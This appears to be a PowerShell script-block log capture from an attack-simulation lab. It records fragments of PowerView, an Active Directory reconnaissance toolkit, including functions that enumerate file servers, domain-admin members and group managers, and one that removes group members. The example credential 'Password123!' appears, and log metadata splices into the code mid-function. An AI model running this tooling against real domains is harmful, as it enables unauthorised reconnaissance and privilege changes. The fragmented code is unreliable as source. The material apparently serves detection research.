$Group.Members.Add($Member) $Group.Save() } } } } function Remove-DomainGroupMember { <# .SYNOPSIS Removes a domain user (or group) from an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and removed from the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to remove members from. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Removes harmj0y from 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Remove($Member) $Group.Save() } } } } function Get-DomainFileServer { <# .SYNOPSIS Returns a list of servers likely functioning as file servers. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher .DESCRIPTION Returns a list of likely fileservers by searching for all users in Active Directory with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying the server names. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainFileServer Returns active file servers for the current domain. .EXAMPLE Get-DomainFileServer -Domain testing.local Returns active file servers for the 'testing.local' domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainFileServer -Credential $Cred .OUTPUTS String One or more strings representing file server names. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('DomainName', 'Name')] [String[]] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { function Split-Path { # short internal helper to split UNC server paths Param([String]$Path) if ($Path -and ($Path.split('\\').Count -ge 3)) { $Temp = $Path.split('\\')[2] if ($Temp -and ($Temp -ne '')) { $Temp } } } $SearcherArguments = @{ 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' 'Properties' = 'homedirectory,scriptpath,profilepath' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain $UserSearcher = Get-DomainSearcher @SearcherArguments # get all results w/o the pipeline and uniquify them (I know it's not pretty) $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } else { $UserSearcher = Get-DomainSearcher @SearcherArguments $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } } function Get-DomainDFSShare { <# .SYNOPSIS Returns a list of all fault-tolerant distributed file systems for the current (or specified) domains. Author: Ben Campbell (@meatballs__) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher .DESCRIPTION This function searches for all distributed file systems (either version 1, 2, or both depending on -Version X) by searching for domain objects matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively The server data is parsed appropriately and returned. .PARAMETER Domain Specifies the domains to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/toed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188634Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2343 } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } $Null = $SearcherArguments.Remove('Raw') } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' $GroupFoundDN = '' if ($Result) { $Members = $Result.properties.item('member') if ($Members.count -eq 0) { # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 $Null = $GroupSearcher.PropertiesToLoad.Clear() $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] if ($Members.count -eq 0) { $Finished = $True } } catch [System.Management.Automation.MethodInvocationException] { $Finished = $True } } } else { $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } } } ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties } else { $ObjectSearcherArguments = $SearcherArguments.Clone() $ObjectSearcherArguments['Identity'] = $Member $ObjectSearcherArguments['Raw'] = $True $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' $Object = Get-DomainObject @ObjectSearcherArguments $Properties = $Object.Properties } if ($Properties) { $GroupMember = New-Object PSObject $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN if ($Properties.objectsid) { $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null } try { $MemberDN = $Properties.distinguishedname[0] if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } catch { $MemberDN = $Null $MemberDomain = $Null } if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] } else { # external trust users have a SID, so convert it try { $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID $MemberName = $Properties.cn[0] } } if ($Properties.objectclass -match 'computer') { $MemberObjectClass = 'computer' } elseif ($Properties.objectclass -match 'group') { $MemberObjectClass = 'group' } elseif ($Properties.objectclass -match 'user') { $MemberObjectClass = 'user' } else { $MemberObjectClass = $Null } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" $SearcherArguments['Identity'] = $MemberDN $Null = $SearcherArguments.Remove('Properties') Get-DomainGroupMember @SearcherArguments } } } $GroupSearcher.dispose() } } } function Get-DomainGroupMemberDeleted { <# .SYNOPSIS Returns information on group members that were removed from the specified group identity. Accomplished by searching the linked attribute replication metadata for the group using Get-DomainObjectLinkedAttributeHistory. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectLinkedAttributeHistory .DESCRIPTION Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute replication metadata for the specified group. These are cases where the 'Version' attribute of group member in the replication metadata is even. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMemberDeleted | Group-Object GroupDN Count Name Group ----- ---- ----- 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... .EXAMPLE Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T23:07:43Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T22:20:02Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 5 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.DomainGroupMemberDeleted Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.DomainGroupMemberDeleted')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True 'LDAPFilter' = '(objectCategory=group)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPaged0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188633Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2243ource to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv Store a list of all security groups with managers in group-managers.csv .OUTPUTS PowerView.ManagedSecurityGroup A custom PSObject describing the managed security group. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ManagedSecurityGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $TargetDomain = $Domain } else { $TargetDomain = $Env:USERDNSDOMAIN } # go through the list of security groups on the domain and identify those who have a manager Get-DomainGroup @SearcherArguments | ForEach-Object { $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' $SearcherArguments['Identity'] = $_.managedBy $Null = $SearcherArguments.Remove('LDAPFilter') # $SearcherArguments # retrieve the object that the managedBy DN refers to $GroupManager = Get-DomainObject @SearcherArguments # Write-Host "GroupManager: $GroupManager" $ManagedGroup = New-Object PSObject $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName # determine whether the manager is a user or a group if ($GroupManager.samaccounttype -eq 0x10000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' } elseif ($GroupManager.samaccounttype -eq 0x30000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' } $ACLArguments = @{ 'Identity' = $_.distinguishedname 'RightsFilter' = 'WriteMembers' } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } # # TODO: correct! # # find the ACLs that relate to the ability to write to the group # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose # # $ACLArguments # # double-check that the manager # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True # } # else { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False # } $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') $ManagedGroup } } } function Get-DomainGroupMember { <# .SYNOPSIS Return the members of a specific domain group. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for the specified group matching the criteria. Each result is then rebound and the full user or group object is returned. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Recurse Switch. If the group member is a group, recursively try to query its members as well. .PARAMETER RecurseUsingMatchingRule Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. Much faster than manual recursion, but doesn't reveal cross-domain groups, and only returns user accounts (no nested group objects themselves). .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMember "Desktop Admins" GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE 'Desktop Admins' | Get-DomainGroupMember -Recurse GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Testing Group GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : 